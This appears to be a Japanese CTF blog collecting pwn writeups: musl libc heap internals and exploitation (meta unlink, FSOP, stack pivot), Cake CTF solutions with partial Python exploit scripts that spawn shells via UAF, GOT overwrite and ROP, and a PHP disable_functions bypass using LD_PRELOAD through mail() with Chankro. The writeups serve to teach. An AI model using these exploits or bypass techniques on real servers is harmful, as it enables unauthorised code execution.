CTFで出題されるmusl libc問あれこれ
はじめに
本エントリはCTF Advent Calender 2021の21日目の記事です。
前はEdwow Mathさんの記事、次はXornetさんの記事になっております。
投稿遅れてしまって本当にすみません🙇♂️🙇♂️🙇♂️
以下、目次です。
背景
CTFのpwnジャンルにおいていわゆるheap問というとThe GNU C library(以下glibc)のmallocのメモリ管理機構を利用した問題が頻出ですが、今年のDEFCON予選で出題されたmoooslという問題でmusl libcのpwnを目にして以来、結構大きめの大会でも出題されるのを見かけるようになった気がするので、実際に大会で出題された過去問のパターンをいくつか紹介したいという内容です。 (CTF歴が浅いので、もしかしたら今年以前にも出題があったかもしれません)
前提
musl libcについて
公式サイト
musl is an implementation of the C standard library built on top of the Linux system call API, including interfaces defined in the base language standard, POSIX, and widely agreed-upon extensions. musl is lightweight, fast, simple, free, and strives to be correct in the sense of standards-conformance and safety.
とのこと。あまり詳しくないので深くは言及しないですが、組み込み分野で使用されることの多いalpine linuxで利用されている事例もあるそう。
実装
ここからpwn問題で使用しそうなmusl libcのmalloc/freeとfile構造体について簡単に説明しようと思います。
現時点(投稿時点)での最新versionが1.2.2であり、自分が把握している過去問の3/4が1.2.2での出題でした。
1問だけ1.1.24の問題もありましたが、ここでは1.2.2だけ触れます。
malloc/free
ソースコードはsrc/malloc/mallocng内のファイルを参照してください。
musl libcでは確保領域(以下chunk)の管理方法が大きく3つの部分に分かれています。
それぞれlibc全体での管理領域のmalloc_context,
同じsizeの1まとまりのchunkを管理するmeta,
実際にユーザに返すアドレスを含んだ領域であるgroupです。
src/malloc/mallocng/meta.h より
struct group { struct meta *meta; unsigned char active_idx:5; char pad[UNIT - sizeof(struct meta *) - 1]; unsigned char storage[]; }; struct meta { struct meta *prev, *next; struct group *mem; volatile int avail_mask, freed_mask; uintptr_t last_idx:5; uintptr_t freeable:1; uintptr_t sizeclass:6; uintptr_t maplen:8*sizeof(uintptr_t)-12; }; ... struct malloc_context { uint64_t secret; #ifndef PAGESIZE size_t pagesize; #endif int init_done; unsigned mmap_counter; struct meta *free_meta_head; struct meta *avail_meta; size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift; struct meta_area *meta_area_head, *meta_area_tail; unsigned char *avail_meta_areas; struct meta *active[48]; size_t usage_by_class[48]; uint8_t unmap_seq[32], bounces[32]; uint8_t seq; uintptr_t brk; };
例として以下のような操作をした際の実際のメモリを見てみます。
下記ではサイズが切り上げられて4つのchunkは全て0x30サイズのchunkとして管理されます。
char* a,b,c,d; a = malloc(0x20); // "AAAA\n" b = malloc(0x2a); // "BBBB\n" c = malloc(0x2c); // "CCCC\n" d = malloc(0x2c); // "DDDD\n" free(c)
malloc_contextのメモリダンプ(先頭から抜粋なので実際はもっと長いです)
0x30のmeta領域を指すのはmalloc_context.active[2]なので、0x7ffff7ffbb40に格納された値がmetaのアドレスです。
0x7ffff7ffbae0 <__malloc_context>: 0x1f93d0d4ab298ae4 0x0000000000000001 0x7ffff7ffbaf0 <__malloc_context+16>: 0x0000000000000000 0x00007ffff80001a8 0x7ffff7ffbb00 <__malloc_context+32>: 0x000000000000005b 0x0000000000000000 0x7ffff7ffbb10 <__malloc_context+48>: 0x0000000000000000 0x00007ffff8000000 0x7ffff7ffbb20 <__malloc_context+64>: 0x00007ffff8000000 0x00007ffff8001000 0x7ffff7ffbb30 <__malloc_context+80>: 0x00007ffff8000158 0x0000000000000000 0x7ffff7ffbb40 <__malloc_context+96>: 0x00007ffff8000180 0x0000000000000000 0x7ffff7ffbb50 <__malloc_context+112>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbb60 <__malloc_context+128>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbb70 <__malloc_context+144>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbb80 <__malloc_context+160>: 0x0000000000000000 0x00007ffff8000090 0x7ffff7ffbb90 <__malloc_context+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbba0 <__malloc_context+192>: 0x0000000000000000 0x00007ffff8000068 0x7ffff7ffbbb0 <__malloc_context+208>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbbc0 <__malloc_context+224>: 0x0000000000000000 0x00007ffff8000040 0x7ffff7ffbbd0 <__malloc_context+240>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbbe0 <__malloc_context+256>: 0x0000000000000000 0x00007ffff8000018 0x7ffff7ffbbf0 <__malloc_context+272>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbc00 <__malloc_context+288>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbc10 <__malloc_context+304>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbc20 <__malloc_context+320>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbc30 <__malloc_context+336>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbc40 <__malloc_context+352>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbc50 <__malloc_context+368>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbc60 <__malloc_context+384>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbc70 <__malloc_context+400>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbc80 <__malloc_context+416>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbc90 <__malloc_context+432>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbca0 <__malloc_context+448>: 0x0000000000000000 0x0000000000000000 0x7ffff7ffbcb0 <__malloc_context+464>: 0x000000000000001e 0x0000000000000000 0x7ffff7ffbcc0 <__malloc_context+480>: 0x000000000000000a 0x0000000000000000 0x7ffff7ffbcd0 <__malloc_context+496>: 0x0000000000000000 0x0000000000000000
続いてmeta領域です。
0x7ffff8000180: 0x00007ffff8000180 0x00007ffff8000180 0x7ffff8000190: 0x00007ffff7d65cd0 0x00000004000003f0 0x7ffff80001a0: 0x00000000000000a9 0x0000000000000000
先頭のアドレスはサイズ0x30のmeta領域の双方向リストで、上の例だとまだ一つしかmeta領域が獲得されていないので自分自身とつながっています。
offset=0x10のアドレスがgroup領域になります。実際にユーザに返される領域はこのgroup+0xXXのアドレスになります。
offset=0x18の値はそれぞれavail_maskが0x3f0, freed_maskが0x4となっています。これは現在使用できる領域、解放済みの領域のoffsetを表すもので、上記例だと4つ獲得したのでavail_maskの下位4bitが0になっていて、3個目のchunkをfreeしたのでfree_maskの下位3bit目が1になっています。
最後にgroup領域です。
0x7ffff7d65cd0: 0x00007ffff8000180 0x0000a00000000009 0x7ffff7d65ce0: 0x0000000a41414141 0x0000000000000000 0x7ffff7d65cf0: 0x0000000000000000 0x0000000000000000 0x7ffff7d65d00: 0x0000000000000000 0x000341000000000c 0x7ffff7d65d10: 0x0000000a42424242 0x0000000000000000 0x7ffff7d65d20: 0x0000000000000000 0x0000000000000000 0x7ffff7d65d30: 0x0000000000000000 0x0000ff0000000000 0x7ffff7d65d40: 0x0000000a43434343 0x0000000000000000 0x7ffff7d65d50: 0x0000000000000000 0x0000000000000000 0x7ffff7d65d60: 0x0000000000000000 0x0009030000000000 0x7ffff7d65d70: 0x0000000a44444444 0x0000000000000000 0x7ffff7d65d80: 0x0000000000000000 0x0000000000000000 0x7ffff7d65d90: 0x0000000000000000 0x0000000000000000 0x7ffff7d65da0: 0x0000000000000000 0x0000000000000000
先頭はmeta領域へのポインタです。chunk周辺にglibcとは違ったメタデータが見えます。
ソースを見ればわかりますが2個目のchunkの例を少し説明すると、 (uint16_t)ptr[-2] * 0x10がそのchunkのgruopからのoffsetになります。メモリ上だと0x000341の0x0003が獲得可能な先頭(0x7ffff7d65ce0)から0x30離れていることを表しています。
また0x000341の0x41については0x41 >> 5 = 2で、これはサイズ0x30のchunkの最大で確保できる領域(0x2c)-要求サイズ(0x2a)を表しています。(ソースコード上はreservedという変数) 残りの0x41の下位5bitは(0x41 & 0x1f = 1)group内のoffsetを表しています。
reseved が5以上の場合はreservedの値をchunkの末尾に書いて先述のptr[-3]にはreserved = 5として記録しています。
1個目のchunkがそれに該当し0x2c-0x20=0xcがchunkの末尾に記録されています。これらのメタデータはソースコード上だとmeta.hのset_size()の箇所がこの操作を行なっているところになります。
ここまで管理手法についてざっくり説明しましたが、 次にmalloc / freeの挙動についても重要なところをかいつまんで説明しようと思います。
malloc
かなり適当ですがmallocはこんな雰囲気のフローです
- 要求サイズがthresholdを超えているか
true -> mmapしてそれを利用(省略)
false-> 2へ - 使用するmeta *gを特定
ない-> alloc_slot()で領域確保して4へ - g->avail_maskに空きがあるか確認
ある -> indexを指定してmaskを更新
ない-> alloc_slot()で領域確保 - 使用するmeta領域とそのindexが決まったのでenframe()でサイズなどのメタデータを付与
実際にはもっと内部で色々なことをしていますが、assert()でバイナリが死ぬ箇所はそこまで多くない印象です。
mallocで一番覚えておくべき挙動としては
使用するmeta領域にfreedなchunkがあってもavail_maskのindexが小さいものからchunkを優先して取得するということです。
freedなchunkはavail_maskが0になった時に一斉にfreed_mask => avail_maskとなり、獲得される順番はglibcの直近で使用していたchunkから取得する思想とは異なるので注意が必要です。
free
freeは基本的にp[-3]=0xffなどのchunkのメタデータを更新するだけですが、groupの全てのchunkがfreed または avail(使用可能)になった時に呼ばれるnontrivial_free()がなかなか重要なのでそこだけ軽く説明します。
static struct mapinfo nontrivial_free(struct meta *g, int i) { uint32_t self = 1u<<i; int sc = g->sizeclass; uint32_t mask = g->freed_mask | g->avail_mask; if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) { // any multi-slot group is necessarily on an active list // here, but single-slot groups might or might not be. if (g->next) { assert(sc < 48); int activate_new = (ctx.active[sc]==g); dequeue(&ctx.active[sc], g); if (activate_new && ctx.active[sc]) activate_group(ctx.active[sc]); } return free_group(g); } else if (!mask) { assert(sc < 48); // might still be active if there were no allocations // after last available slot was taken. if (ctx.active[sc] != g) { queue(&ctx.active[sc], g); } } a_or(&g->freed_mask, self); return (struct mapinfo){ 0 }; }
ソースコード内のifがtrueとなった場合に呼ばれるdequeue()でunlink attackが可能です。ここでいうunlink attackは8bytesのAAWなので問題を解く際はかなり重宝します。
具体例としては、偽のmeta領域を用意してそのmetaにつながるgroupのchunkをfreeすることで偽のmeta領域のnext,prevの値を元にunlink attackが可能となります。
ただこの流れの中でassert()によるvalidationが結構な数あったので、適切なフローを通るように各種メタデータを適切に設定できるよう実際にコードを書いて慣れておくのが良いと思います。
自分はかなり沼にハマってしまいました。
またelse if 内のqueueもmalloc_contextのactive[]に偽のmeta領域をつなぐなどに使えます。
あとは地味にfree時にユーザが書き込んだデータが破損されないのも問題を解く際にはありがたいですね。
低コストで先頭8bytesを0埋めとかでもかなり変わってくるのではないかと思いますが。もしかしたら今後アップデートで変わるかもしれません。
FILE構造体(FSOP)
glibcと違って_malloc_hookや_free_hookがmusl libcにはないため、AAW可能な場合などにRIPを奪うための有効な手段です。
ソースコードは以下
src/internal/stdio-impl.h
struct _IO_FILE { unsigned flags; unsigned char *rpos, *rend; int (*close)(FILE *); unsigned char *wend, *wpos; unsigned char *mustbezero_1; unsigned char *wbase; size_t (*read)(FILE *, unsigned char *, size_t); size_t (*write)(FILE *, const unsigned char *, size_t); off_t (*seek)(FILE *, off_t, int); unsigned char *buf; size_t buf_size; FILE *prev, *next; int fd; int pipe_pid; long lockcount; int mode; volatile int lock; int lbf; void *cookie; off_t off; char *getln_buf; void *mustbezero_2; unsigned char *shend; off_t shlim, shcnt; FILE *prev_locked, *next_locked; struct __locale_struct *locale; };
stdinの例
src/stdio/stdin.c
static unsigned char buf[BUFSIZ+UNGET]; hidden FILE __stdin_FILE = { .buf = buf+UNGET, .buf_size = sizeof buf-UNGET, .fd = 0, .flags = F_PERM | F_NOWR, .read = __stdio_read, .seek = __stdio_seek, .close = __stdio_close, .lock = -1, }; FILE *const stdin = &__stdin_FILE; FILE *volatile __stdin_used = &__stdin_FILE;
実際のメモリダンプはこんな感じ
0x7ffff7ffb180: 0x0000000000000009 0x0000000000000000 0x7ffff7ffb190: 0x0000000000000000 0x00007ffff7fa39a0 0x7ffff7ffb1a0: 0x0000000000000000 0x0000000000000000 0x7ffff7ffb1b0: 0x0000000000000000 0x0000000000000000 0x7ffff7ffb1c0: 0x00007ffff7fa3a90 0x0000000000000000 0x7ffff7ffb1d0: 0x00007ffff7fa3b80 0x00007ffff7ffc2e8 0x7ffff7ffb1e0: 0x0000000000000400 0x0000000000000000 0x7ffff7ffb1f0: 0x0000000000000000 0x0000000000000000 0x7ffff7ffb200: 0x0000000000000000 0xffffffff00000000 0x7ffff7ffb210: 0x0000000000000000 0x0000000000000000 0x7ffff7ffb220: 0x0000000000000000 0x0000000000000000 0x7ffff7ffb230: 0x0000000000000000 0x0000000000000000 0x7ffff7ffb240: 0x0000000000000000 0x0000000000000000 0x7ffff7ffb250: 0x0000000000000000 0x0000000000000000 0x7ffff7ffb260: 0x0000000000000000 0x0000000000000000 0x7ffff7ffb270: 0x0000000000000000 0x0000000000000000
関数ポインタにあるread,write,seek,closeはいずれも自身のfile構造体のポインタを第一引数に取ります。
そのためfile構造体の先頭8byte(flagsメンバに位置するメモリ)を"/bin/sh\x00"に書き換えた上で関数を呼び出す方法などが使えます。
過去問
とりあえず自分が補足しているものを列挙しました。
他にも出題が確認されていたら教えてください🙏(解き直すかは別として)
ちなみに自分は大会中に解けてないので他人のwriteupを大いに参考にしております。
ソルバは参考にしたwriteupで十分かなと思ったので省略します。要望があればgithubとかにあげるかもです。
mooosl (DEFCON 2021 Quals)
version1.2.2からの出題でUAFの脆弱性があるバイナリの問題でした。
偽のmeta領域、group領域を作成してそれらをfreeし、管理領域malloc_contextに偽のデータを登録することで、偽の獲得領域からmallocできる用意する解法が使われていました。 AAWが可能になったあとはstdoutを書き換えてシェルを起動するよう流れです。
偽の獲得領域から取得する時のvalidationのbypassのためにunlink attackが必要で
偽の領域をmalloc_contextに登録するのが思いのほかだるいです。この問題を解いておけばだいぶmusl libcのmalloc/heapの面倒くささ、大まかな挙動が掴めると思いますが、後述の問題の方が練習向きだと思います。
自分は丸2日くらい溶かしました。配布されたlibcのシンボル情報が一致しない(これなんで)のでめちゃくちゃデバッグがしんどかった。。
参考writeup
https://h-noson.hatenablog.jp/entry/2021/05/03/161933
すでに日本語の記事があり大変わかりやすい🙏
musl (RCTF 2021)
続いてもversion 1.2.2からの出題。
seccompが有効なためシェル起動ではなくflagをorw(open,read,write)する問題。
バイナリも複雑なものではないので、練習としてこの問題から解いてみるのもありかと。
またRIPを奪った後に便利なROP gadgetがmusl libcにはあるみたい。
0x0004a5ae: mov rsp, qword [rdi+0x30] ; jmp qword [rdi+0x38] ; (1 found)
いわゆるstack pivot的なもので、後述の問題でも使うテクニックなので覚えておいて損はないと思います。
FSOPで使う例としては、関数ポインタをこのgadgetにしてファイル構造体のaddress+0x30, +0x38にそれぞれpivot後のstackのアドレス、実行したい命令のアドレスが格納されたメモリのアドレスを指定すれば良いです。
libcリークは獲得領域のページがlibcに隣接することを使用して解いたのですが(localのubuntu)、Dockerも配布されなかったので本番環境だとちゃんとうまく行くのかは少し不安。
参考writeup
https://blog.rois.io/en/2021/rctf-2021-official-writeup/#musl
house of tataru(N1CTF 2021)
これもversion 1.2.2。
ほぼ先述のRCTFのやつとやることは同じでした。
seccompが有効で
libcのhashは違うけどバージョンは一緒で例の便利なstack pivotが可能なgadgetがあるのでflagをorwします。
例のgadget
0x0007b1f5: mov rsp, qword [rdi+0x30] ; jmp qword [rdi+0x38] ; (1 found)
参考writeup
N1CTF 2021 - house_of_tataru | kileak
babyheap 2021 (0CTF/TCTF 2021 Quals)
この問題だけバージョンが1.1.24でした。
すみません、まだ解き直していません。🙇♂️🙇♂️
解けたら追記するかもです。
まあすでにwriteupが出ているのでそちらを参考にした方が早いです。
ropのペイロード的にこれも前者と同じかも。
参考writeup
https://ptr-yudai.hatenablog.com/entry/2021/07/07/125444#pwn-392pts-BabyHeap-2021-18-solves
まとめ
いざとき直してみると、そんなに手法にバリエーションはなかった印象です。(3問しか解いてない)
今のところchunkの管理手法、meta領域のunlink attack、FSOPができれば対応できそうな雰囲気。
個人的な感想は管理方法は違えどglibcのheapガチャガチャと感覚はほぼ一緒なので数問解いておけばこれから出題されても頑張れそう。
来年もよろしくお願いします。
Cake CTF writeup
初めに
zer0ptsの一部のメンバーが主催したCake CTFにKUDoSで参加して6位/157チームでした 自分の解いた問題のwriteupを書きます。
実際のソルバの一部を載せていますが、完全版が見たい方はgithubを参照くださいまし。
UAF4b(pwn)
113pts 75solves
問題名の通りUAFを使った初心者向けの問題です。
問題ファイルの配布はなし、サーバに接続すると丁寧な誘導があります。
関数ポインタを使用した構造体のUAFがあるので、一度freeをしたあとその関数ポインタをsystem関数のアドレスにして関数を呼んでみましょう。
うまくいかなくても4のコマンドでheapアドレスのダンプが見れるのも嬉しいですね。
exploit コード(一部)
def exploit(): conn.recvuntil("<system> = ") addr_system = int(conn.recvline(), 16) conn.sendlineafter(">", "3") conn.sendlineafter(">", "2") conn.sendlineafter(":", p64(addr_system)) conn.sendlineafter(">", "2") conn.sendlineafter(":", "/bin/sh") conn.sendlineafter(">", "1") conn.interactive() if __name__ == "__main__": exploit()
GOT it(pwn)
165pts 32solves
main関数のアドレスとlibcのアドレスを教えてもらえて、一度だけ任意アドレスへの書き込みが許されています。
が、バイナリがFull RELROなので実行バイナリのアドレスを使って関数フックをすることは難しいです。
任意アドレス書き込みの後に呼ばれるputsの挙動をgdbで追うと関数アドレスをメモリ上から取ってきてそのアドレスに飛ぶ処理があります。
0x7ffff7dec460 <*ABS*+0xa27b0@plt> endbr64 0x7ffff7dec464 <*ABS*+0xa27b0@plt+4> bnd jmp qword ptr [rip + 0x1c5c3d] <__strlen_avx2>
rip+0x1c5c3dのメモリを見ると
0x7ffff7fb20a8 <*ABS*@got.plt>: 0x00007ffff7f52660
なるほど、この値を書き換えてあげればripを取れそうですね。
exploit コード(一部)
def exploit(): conn.recvuntil(" = ") addr_main = int(conn.recvline(),16) conn.recvuntil(" = ") libc_printf = int(conn.recvline(),16) libc_base = libc_printf - off_printf libc_system = libc_base + off_system print(hex(libc_base)) test = libc_base + (0x7ffff7fb20a8 - 0x7ffff7dc7000) conn.sendlineafter(": ", hex(test)) conn.sendlineafter(": ", hex(libc_system)) conn.sendlineafter(": ", "/bin/sh") conn.interactive()
JIT4b(pwn)
175pts 28solves
JIT最適化の脆弱性をテーマにした問題です。
realworldだとブラウザのJSエンジンなどで見かけるような話題かと思います。自分も少しここら辺のトピックに触れたことがあるのですが、JITコンパイラのコードを読むのとかが結構大変で心が折れた記憶がありますが、この問題は丁寧にコードにコメントアウトがしてあっていいですね。勉強になります。
以下は問題のバナーです。
Today, let's learn about bounds-checking elimination bug! JIT is frequently abused in browser exploitation. The JIT compiler is going to optimize the following function: 1| function f(x) { 2| let arr = [3.14, 3.14, 3.14]; 3| <YOUR CODE GOES HERE> 4| return arr[x]; 5| } You can apply some basic calculations on `x`, for example: 1| function f(x) { 2| let arr = [3.14, 3.14, 3.14]; 3| x = Math.min(x, 2); 4| x = Math.max(x, 0); 5| return arr[x]; 6| } In the code above, JIT will remove the bound check on line 5 because JIT knows `x` is always in Range(0, 2). However, in the code below, JIT will not remove the bound check because the speculated range for `x` is Range(-inf, 2), which may cause (negative) out-of-bound access. 1| function f(x) { 2| let arr = [3.14, 3.14, 3.14]; 4| x = x * 123; 3| x = Math.max(x, 2); 5| return arr[x]; 6| } Your goal is to deceive JIT speculation and access out-of-bound.
上記の通り、自分で擬似コードを作りJITの最適化を働かせて、その上で配列の範囲外参照を行うことがゴールとなります。
コードをよく見ると各種演算ではオーバフローが起きていないかチェックしているのですが、割り算のところだけ少し変わったチェックをしていて怪しいです。
Range& operator+=(const int& rhs) { if (__builtin_sadd_overflow(min, rhs, &min) || __builtin_sadd_overflow(max, rhs, &max)) { // Integer overflow may happen min = numeric_limits<int>::min(); max = numeric_limits<int>::max(); } return *this; } /* Abstract subtraction */ Range& operator-=(const int& rhs) { if (__builtin_ssub_overflow(min, rhs, &min) || __builtin_ssub_overflow(max, rhs, &max)) { // Integer overflow may happen min = numeric_limits<int>::min(); max = numeric_limits<int>::max(); } return *this; } /* Abstract multiplication */ Range& operator*=(const int& rhs) { if (rhs < 0) swap(min, max); if (__builtin_smul_overflow(min, rhs, &min) || __builtin_smul_overflow(max, rhs, &max)) { // Integer overflow may happen min = numeric_limits<int>::min(); max = numeric_limits<int>::max(); } return *this; } /* Abstract divition */ Range& operator/=(const int& rhs) { if (rhs < 0) *this *= -1; // This swaps min and max properly // There's no function named "__builtin_sdiv_overflow" // (Integer overflow never happens by integer division!) min /= abs(rhs); max /= abs(rhs); return *this; }
何かこれを利用できないかなあと思い、
境界値を色々投げてみると/= -2147483648の時にRangeがmin>maxになりおかしくなります。
これを使ってうまく範囲外参照を起こせる演算を考えます。
解答
Step 1. Build your function 1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit > 4 value: -2147483648 1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit > 3 value: -1 1:Add / 2:Sub / 3:Mul / 4:Div / 5:Min / 6:Max / Others:Exit > 7 [+] Your function looks like this: function f(x) { let arr = [3.14, 3.14, 3.14]; x /= -2147483648; x *= -1; return arr[x]; } Step 2. Optimize your function... [JIT] Speculation: Range(-2147483648, 2147483647) [JIT] Applying [ x /= -2147483648 ] [JIT] Speculation: Range(1, 0) [JIT] Applying [ x *= -1 ] [JIT] CheckBound: 0 <= Range(0, -1) < 3? --> Yes. Eliminating bound check for performance. Step 3. Call your optimized function What's the argument `x` passed to `f`? x = -2147483648 [+] f(-2147483648) --> 1.63042e-322 [+] Wow! You deceived the JIT compiler!
C++のコードは難しいですが、雰囲気と気合いで読みましょう。(?)
Not So Tiger(pwn)
239pts 14solves
C++製のバイナリです。ソースコードも配られます。
C++のバイナリは難しいですが、雰囲気と気合いで読みましょう その2
stackのBoFの脆弱性がありますが、canaryが有効なのでこのままではROPに持ち込めません。なので色々工夫します。
コード内ではvariantが使われていて、このtypeをoverflowで書き換えることでやれることが少し増えます。
例えば以下のような処理を行います。
create(2, 0xdead, "AAAA\n") payload = "A"*0x20 payload += "\n" change(got_strdup, payload) show() conn.recvuntil("Name: ")
コード中のcreate()はバイナリ中のコマンドで言う"1. New cat"を選択するもので、第一引数からtype, age, nameのようになっています。
同様にshow()は"2. Get cat"を選択、change(age, name)は"3. Set cat"を選択するものです。
上記のコードを実行すると、type=2で変数を作成しているにもかかわらず、その後のchange()のoverflowでtype=0に書き換えることができます。するとlong型のageをchar*として認識するようになるのでshow()を実行するとgot_strdupの中身を見ることができ、libcのアドレスを取得することができます。
上記の方法でAARが可能になり、これをチェインさせることでlibcリーク->stackリーク->canaryリークのように各領域のアドレスを読み出してROPに持ち込めるようです。
が、自分はlibc内でstackアドレスを取得できることを完全に失念していて、libcリーク->heapリーク->(stack上の値をheapに書き込む)->stackリーク->canaryリークとまわりくどい手順を取りました。
typeを書き換えるとAARだけでなく、got領域付近の関数を実行することができます。というのも"3"を選択したときに呼ばれるvisit()の処理を追うと[0x407cc0+type*8]に格納されている関数アドレスを実行する流れになっています。0x407cc0はgot領域の手前に位置するのでtypeを操作するとgot領域にある関数くらいなら実行することができます。ただ使える関数が限られていること、引数が(rbp-0xb0, rbp-0x50)になることからそれほど自由度は高くないです。"2"を選択した時も同様に[0x407ca0+type*8]()を実行することができます。
"3"を選択しvisit()を呼ぶ前には必ず[rbp-0xb0] = rbp-0xb8という操作が入るのでtype=0x5fにするとstrdup(rbp-0xb0)が呼ばれてstackのアドレスをheap領域に書き込むことができます。heap領域のアドレスはlibc内のmain_arenaにあるtopなどから取得することができるのでこれをチェインさせてstackのアドレスを取得しました。
完全に手間が増えていますね。ただやってる身としてはどの関数を使おかな〜〜なんて考えるのも少し楽しかったりもします。
exploit コード(一部)
def exploit(): # libc address leak create(2, 0xdead, "AAAA\n") payload = "A"*0x20 payload += "\n" change(got_strdup, payload) show() conn.recvuntil("Name: ") libc_strdup = u64(conn.recvline()[:-1]+b"\x00\x00") libc_base = libc_strdup - off_strdup libc_malloc_hook = libc_base + off_malloc_hook top_chunk = libc_base + off_malloc_hook + 0x70 libc_system = libc_base + off_system libc_binsh = libc_base + off_binsh # heap address leak create(2, 0xdead, "AAAA\n") payload = "A"*0x20 payload += "\n" change(top_chunk, payload) show() conn.recvuntil("Name: ") addr_heap = conn.recvline()[:-1] addr_heap = u64(addr_heap + b"\x00"*(8-len(addr_heap))) # do strdup create(2, 0xdead, "AAAA\n") payload = "A"*0x20 payload += "\x5f\n" change(0x7eadbeefdeadbeef, payload) change(1,"A\n") # stack address leak create(2, 0xdead, "AAAA\n") payload = "A"*0x20 payload += "\n" change(addr_heap+0x10, payload) show() conn.recvuntil("Name: ") addr_stack = conn.recvline()[:-1] addr_stack = u64(addr_stack + b"\x00"*(8-len(addr_stack))) # canary leak create(2, 0xdead, "AAAA\n") payload = "A"*0x20 payload += "\n" change(addr_stack+0xa0+1, payload) show() conn.recvuntil("Name: ") canary = conn.recv(7) canary = u64(b"\x00"+canary) payload = b"A"*0x88 payload += p64(canary) payload += p64(0)*3 payload += p64(only_ret) payload += p64(rdi_ret) payload += p64(libc_binsh) payload += p64(libc_system) payload += b"\n" create(0, 0xdead, payload) conn.sendlineafter(">> ", "4") print(hex(libc_base)) print(hex(addr_heap)) print(hex(addr_stack)) print(hex(canary)) conn.interactive()
rflag(rev)
204pts 20solves
16進数文字で表された長さ32のバイト列を特定する内容です。
4回正規表現を入力できてマッチする箇所のオフセットを教えてくれます。16進数文字は4bitで表せるのでそれを利用したシグネチャを投げます。
具体的には1回目に0bit目が立っている数字を、2回目には1bit目が立っている数字を、、、のようにシグネチャを投げると1回目のみに現れたオフセットにある数字は1(b0001)で1回目と2回目に現れたオフセットにある数字は3(b0011)のように特定ができます。
def exploit(): sig = ["[13579bdf]","[2367abef]","[4567cdef]","[89abcdef]"] flag = [0 for x in range(0,32)] flag_s = "" for i in range(0,4): conn.sendlineafter(":",sig[i]) conn.recvuntil(": [") arr = conn.recvuntil("]")[:-1].split(b",") for x in arr: flag[int(x)] |= (1 << i) for c in flag: flag_s += "%x"%c print(flag_s) conn.sendlineafter("?\n", flag_s) conn.interactive()
チームメイトのarataくんが概要掴んでslackに投げていてくれたので、そのsolverを書きました。
Rust製バイナリだったみたいなのですが、自分は全くバイナリ読まず触れずで終わりました。
どうでもいいのですが小学生の時、この問題の原理と同じなのですが複数枚の数字が書かれたカードの中から1枚ずつこのカードに書いてるか否かを聞いて誕生日の日付を当ててエスパーを名乗る教育実習生がいたのを思い出しました。
おわりに
久しぶりにがっつりCTFに時間を割きました。36時間のうち8時間睡眠くらいだったと思います。 Not So Tigerでかなりハマってしまったのですが、睡眠後みたらあっさり解けたのでどんなに長期間でも睡眠は大事というのを再度を思い知らされました。
CTF毎週参加するのも楽しいのですが、復習とかで他のことに手が回らなくなる、がっつり勉強・修行期間がとりたくなる影響でここ数ヶ月あまり参加できていませんでしたが、楽しいCTFに参加するとやっぱりもっと参加したいなという気持ちになります。
運営の皆さん、他の参加者、チームメンバーありがとうございました。
PHPのbypass disable_functionsについて (Chankro使ってみた)
導入
Pwn2win 2021 CTFで出題されたpwnのC'mon See my Vulnsに挑戦した時のお話。
この問題はphpのheap問であったのだが、非想定解のweb解法が存在する。
web解法ではphpのdisable_functionsの制約が緩いことを利用した攻撃が可能であり、その解放についてのメモを書いていく。
問題概要
以下では下記writeupを参考にする。
https://snix0.com/posts/pwn2win-cmon-see-my-vulns/
writeupではopen_basedirのバイパスも紹介されているが、本問題ではデフォルトのパス/var/www/html内で完結するため割愛するが、これもまた単純ではあるが面白いテクニックであるので読むことを推奨する。
この問題ではユーザの入力を受け取り、csv_parseという自作関数にてparse処理を行うという問題である。
想定解では配布されたcsv_parse.soの脆弱性を狙うのであるが、以下のphpの処理を利用した攻撃も可能である。またサーバーにはcat /root/flag.txtをroot権限で実行する/opt/readflagという実行ファイルが存在する。
index.php(一部抜粋)
<?php function do_calcs($csv){ preg_match_all("/{{([^}]*)}}/", $csv, $matches); foreach ($matches[1] as &$val){ $csv = str_replace("{{" . $val . "}}", eval("return " . $val . ";"), $csv); } return $csv; }
$valにはユーザが任意の値を入れることができるため、evalによって任意のPHPが実行可能である。 しかし、問題環境のphpinfoを見るとdisable_functionsによってsystem関数やshell_exec 関数などが使用不可となっているため、安易なコマンド実行はできない。
このような制限はあるもののphpコードが実行可能な場合で、かつmail関数、putenv関数の実行、ファイルアップロードが可能な場合に攻撃可能となる手法が知られている。
上記writeupのreferenceにもあるこちらのサイトの解説にもある通り、
How to bypass disable_functions and open_basedir |Cybersecurity | Tarlogic
phpのmail関数ではsendmailという実行バイナリを呼ぶためにexecve()システムコールを発行している。
これを利用し、mail関数の呼び出し前に、putenv()を使用してロードするライブラリをLD_PRELOAD環境変数にセットすることで、sendmailの実行コンテキストで使用するライブラリを指定することができる。そしてファイルアップロードが可能な場合、自作のライブラリを指定することで関数をフックすることができるという具合である。
自作ライブラリを作成するのは手間であるが、すでに先人がこの手法で使えるツールを作成している。これがChankroと呼ばれるツールである。
Chankroを使ってみる
python2で使用できるみたいで、--inputで最終的に実行したいスクリプト、--outputで攻撃過程で実行するphpのファイル名を指定する。
今回は/opt/readflagの実行結果を参照したいため以下の1行のスクリプト(rf.sh)を作成、--inputに指定した。
/opt/readflag > /var/www/html/km2_flag
実行
$ python2 ./chankro.py --arch 64 --input rf.sh --output km2.php --path /var/www/html
作成されたkm2.phpを見てみる
